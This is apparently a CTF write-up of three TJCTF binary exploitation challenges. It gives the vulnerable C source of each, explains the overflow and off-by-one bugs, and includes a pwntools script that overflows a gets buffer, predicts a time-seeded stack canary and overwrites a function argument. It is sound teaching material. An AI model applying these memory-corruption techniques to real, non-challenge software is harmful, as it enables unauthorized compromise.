In this post, we are going to take a look at first 3 of binary exploitation challenges from TJCTF. So let’s start:

Math whiz

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAG "-----REDACTED-----"

int input(char *str, float f) {

    fgets(str, 16 * f, stdin);

    if (strlen(str) <= 1) {
        puts("No input detected. Registration failed.");
        exit(0);
    } else if (!strchr(str, 10)) {
        while (fgetc(stdin) != 10);
    } else {
        str[strlen(str) - 1] = 0;
    }
}

int main() {

    int admin = 0;

    char fullname[16];
    char username[16];
    char password[16];
    char recoverypin[4];
    char email[16];
    char address[16];
    char bio[64];

    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    setbuf(stdout, NULL);

    puts("******************** Please Register Below ********************");

    printf("Full Name: ");
    input(fullname, 1);

    printf("Username: ");
    input(username, 1);

    printf("Password: ");
    input(password, 1);

    printf("Recovery Pin: ");
    input(recoverypin, 4);

    printf("Email: ");
    input(email, 1);

    printf("Address: ");
    input(address, 1);

    printf("Biography: ");
    input(bio, .25);

    if (admin) {
        printf("Successfully registered '%s' as an administrator account!\n", username);
        printf("Here is your flag: %s\n", FLAG);
    } else {
        printf("Successfully registered '%s' as an user account!\n", username);
    }

    return 0;
}

This is the first challenge in the series. Looking at the source code we see that as long as the admin value is not 0, we will get the flag. Overflow happens when input is called for recoverypin since the second argument passed is 4 (seems somebody switched values with bio field). So we just give long enough input for recoverypin (A*64), overwrite admin field and we get the flag.

Tilted troop

Let’s look at the source:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define MAX_TEAM_SIZE 8

const int goal = 400;

struct team {
    char* names[MAX_TEAM_SIZE];
    char* strength;
    int teamSize;
} typedef team;

void fight(char* strengths, int teamSize) {
    int sum=0;
    for(int i = 0; i < teamSize; ++i) {
        sum+=strengths[i];
    }

    if(sum == goal) {
        printf("Wow! Your team is strong! Here, take this flag:\n");
        printf("[REDACTED]\n");
    } else {
        printf("Your team had %d strength, but you needed exactly %d!\n",sum,goal);
    }
}

char input[256];

int main() {

    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    setbuf(stdout, NULL);

    team t;

    t.teamSize = 0;
    t.strength = malloc(sizeof(int) * MAX_TEAM_SIZE);

    printf("Commands:\n A <name> - Add a team member\n F - Fight the monster\n Q - Quit\n");

    while(1) {
        gets(input,255,stdin);
        if(input[0] == 'A') {
            if(t.teamSize > MAX_TEAM_SIZE) {
                printf("Your team is too large!\n");
            } else {
                t.strength[t.teamSize] = rand() % 10;
                char* newMember = malloc(256);
                strcpy(newMember, &input[2]);
                t.names[t.teamSize] = newMember;
                t.teamSize++;
            }
        } else if (input[0]=='F') {
            fight(t.strength, t.teamSize);
        } else if (input[0]=='Q') {
            printf("Thanks for playing!\n");
            return 0;
        } else {
            printf("Try again\n");
        }
    }
}

To win the flag this time, we have to have the strength of our team equal to 400. Since MAX_TEAM_SIZE is 8 and strength of each member is at max 9 (%10) this could be a problem. Luckily, there is off by one bug when creating team members. Problems happens in:

    t.teamSize > MAX_TEAM_SIZE

this will be true even when the array is filled to max (8 members) allowing us to overwrite following pointer in team struct. If we look at the stack:

Tilted troop stack

We see that after pointers to names we have a pointer to strength array (marked in red) and then the size of the array (in yellow). So when we overwrite strength is going to be read from the name of 9th team member. So if we give something like xxx( for his name we get the flag (x 120 decimal, ( 40 decimal).

Future canary lab

For me this was most interesting binary challenge in this CTF, so let’s take a look:

#include <stdio.h>
#include <stdlib.h>

#define FLAG "-----REDACTED-----"

void interview(int secret) {

    int i, j;
    int canary[10];
    char name[64];
    int check[10];

    for (i = 0; i < 10; ++i) {
        canary[i] = check[i] = rand();
    }

    printf("Welcome to the Future Canary Lab!\n");
    printf("What is your name?\n");
    gets(name);

    for (j = 0; j < 10; ++j) {
        if (canary[j] != check[j]) {
            printf("Alas, it would appear you lack the time travel powers we desire.\n");
            exit(0);
        }
    }

    if (secret - i + j == 0xdeadbeef) {
        printf("You are the one. This must be the choice of Stacks Gate!\n");
        printf("Here is your flag: %s\n", FLAG);
    } else {
        printf("Begone, FBI Spy!\n");
    }

    exit(0);
}

int main() {

    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    setbuf(stdout, NULL);

    srand(time(NULL));

    interview(0);

    return 0;
}

To get the flag we have to change the argument of interview function to 0xdeadbeef. We have obvious buffer overflow since code uses gets, but what about a check after? Somehow we have to know the value of canary and overwrite it with correct values.

The solution is to generate the same (pseudo)random sequence program is generating since the seed is just current time, and use that. So payload we are going to try is:

'A'*64 + generated_sequence + 0xa +0xa + p32(0xdeadbeef)*6

I have chosen value 0xa for i,j since comparison done in the following way

secret - i + j

and j is getting set to 10 (0xa) in loop after our input. But we have a problem, 0xa is also newline and will stop gets input. So we have to modify our result a bit.

'A'*64 + generated_sequence + 0x9 +0x9 + p32(0xdeadbeee)*6

Note that we also had to modify the address since now value will be incremented by one. So let's write code to automate this. Since random is probably different in c and python, we use c code to generate the sequence.

#include <stdlib.h>
#include <stdio.h>
#include <time.h>
int main()
{
    int i;
    srand(time(NULL));
    for (i = 0; i < 10; ++i) {
        printf("%u ",rand());
    }
    return 0;
}

And our python script:

#!/usr/bin/env python
from pwn import *
import sys

if __name__ == "__main__":
    context.arch = 'i386'
    context.os   = 'linux'
    context.terminal = ["terminator", "-e"]


    random_nums = []
    for line in sys.stdin:
        random_nums = line.split(' ')[:10]
    #r = process('./interview')
    r = remote('problem1.tjctf.org', 8000)
    r.recvuntil('What is your name?\n')
    #gdb.attach(r)
    p =  'A' * 64
    for rand in random_nums:
        p+= p32(int(rand))
    p += p32(0x9)*2
    p += p32(0xdeadbeee)*6
    r.sendline(p)
    print r.recvline()
    r.interactive()

Note: since we are not sure where exactly is interview argument on the stack we just write 0xdeadbee 6 times to make sure we overwrite it. We run our script and flag is ours:

Future canary lab flag

Since this is a timing problem, it will usually require 2–3 runs to get the flag.

- F3real